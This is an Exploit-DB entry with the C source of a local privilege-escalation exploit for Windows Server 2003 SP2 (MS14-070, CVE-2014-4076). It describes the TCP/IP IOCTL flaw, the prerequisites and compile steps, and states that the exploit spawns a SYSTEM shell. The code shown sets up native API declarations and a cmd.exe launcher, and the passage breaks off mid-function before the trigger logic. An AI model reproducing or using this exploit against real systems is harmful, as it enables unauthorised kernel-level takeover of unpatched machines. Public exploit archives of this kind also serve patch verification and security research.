Exploit-DB #37755
Description: Microsoft Windows Server 2003 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)
Type: local
Platform: windows
Date: 2015-08-12
Author: Tomislav Paskalev

Exploit:
/*
################################################################
# Exploit Title: Windows 2k3 SP2 TCP/IP IOCTL Privilege Escalation (MS14-070)
# Date: 2015-08-10
# Exploit Author: Tomislav Paskalev
# Vulnerable Software:
#   Windows 2003 SP2 x86
#   Windows 2003 SP2 x86-64
#   Windows 2003 SP2 IA-64
# Supported vulnerable software:
#   Windows 2003 SP2 x86
# Tested on:
#   Windows 2003 SP2 x86 EN
# CVE ID:   2014-4076
# OSVDB-ID: 114532
################################################################
# Vulnerability description:
#   Windows TCP/IP stack (tcpip.sys, tcpip6.sys) fails to
#   properly handle objects in memory during IOCTL processing.
#   By crafting an input buffer that will be passed to the TCP
#   device through the DeviceIoControlFile() function, it is
#   possible to trigger a vulnerability that would allow an
#   attacker to elevate privileges.
#   An attacker who successfully exploited this vulnerability
#   could run arbitrary code in kernel mode (i.e. with SYSTEM
#   privileges).
################################################################
# Exploit notes:
#   Privileged shell execution:
#     - the SYSTEM shell will spawn within the existing shell
#       (i.e. exploit usable via a remote shell)
#       - upon exiting the SYSTEM shell, the parent process
#         will become unresponsive/hang
#   Exploit compiling:
#     - # i586-mingw32msvc-gcc MS14-070.c -o MS14-070.exe
#   Exploit prerequisites:
#     - low privilege access to the target (remote shell or RDP)
#     - target not patched (KB2989935 not installed)
################################################################
# Patch:
#   https://www.microsoft.com/en-us/download/details.aspx?id=44646
################################################################
# Thanks to:
#   KoreLogic (Python PoC)
#   ChiChou (C++ PoC)
################################################################
# References:
#   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4076
#   https://technet.microsoft.com/library/security/ms14-070
#   https://www.exploit-db.com/exploits/35936/
#   https://github.com/ChiChou/CVE-2014-4076/blob/master/CVE-2014-4076/CVE-2014-4076.cpp
#   https://www.osronline.com/article.cfm?article=229
################################################################
*/


#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>




typedef enum _SYSTEM_INFORMATION_CLASS {
        SystemBasicInformation                = 0,
        SystemPerformanceInformation          = 2,
        SystemTimeOfDayInformation            = 3,
        SystemProcessInformation              = 5,
        SystemProcessorPerformanceInformation = 8,
        SystemInterruptInformation            = 23,
        SystemExceptionInformation            = 33,
        SystemRegistryQuotaInformation        = 37,
        SystemLookasideInformation            = 45
} SYSTEM_INFORMATION_CLASS;


typedef DWORD NTSTATUS;
NTSTATUS WINAPI NtQuerySystemInformation (
        SYSTEM_INFORMATION_CLASS   SystemInformationClass,
        PVOID                      SystemInformation,
        ULONG                      SystemInformationLength,
        PULONG                     ReturnLength
);


typedef struct _IO_STATUS_BLOCK {
        union {
                NTSTATUS           Status;
                PVOID              Pointer;
        };
        ULONG_PTR                  Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


typedef void (WINAPI * PIO_APC_ROUTINE) (PVOID, PIO_STATUS_BLOCK, ULONG);


NTSTATUS (WINAPI *ZwAllocateVirtualMemory) (
        HANDLE                     ProcessHandle,
        PVOID                      *BaseAddress,
        ULONG_PTR                  ZeroBits,
        PSIZE_T                    RegionSize,
        ULONG                      AllocationType,
        ULONG                      Protect
);


NTSTATUS (WINAPI *ZwDeviceIoControlFile) (
        HANDLE                     FileHandle,
        PVOID                      ApcContext,
        PIO_STATUS_BLOCK           IoStatusBlock,
        ULONG                      IoControlCode,
        PVOID                      InputBuffer,
        ULONG                      InputBufferLength,
        PVOID                      OutputBuffer,
        ULONG                      OutputBufferLength
);




BOOL WINAPI CreateNewCmdProcess (STARTUPINFO *startupInformation, PROCESS_INFORMATION *processInformation)
{
        ZeroMemory (&startupInformation[0], sizeof (STARTUPINFO));
        startupInformation->cb = sizeof (STARTUPINFO);
        ZeroMemory (&processInformation[0], sizeof (PROCESS_INFORMATION));

        // Start the child process.
        return CreateProcess (
                NULL,                                                           // No module name (use command line)
                "c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32",   // Start cmd.exe
                NULL,                                                           // Process handle not inheritable
                NULL,                                                           // Thread handle not inheritable
                TRUE,                                                           // Set handle inheritance to TRUE
                0,                                                              // No creation flags
                NULL,                                                           // Use parent's environment block
                NULL,                                                           // Use parent's starting directory
                &startupInformation[0],                                         // Pointer to STARTUPINFO structure
                &processInformation[0]                                          // Pointer to PROCESS_INFORMATION structure
        );
}




unsigned long SwapBytes (unsig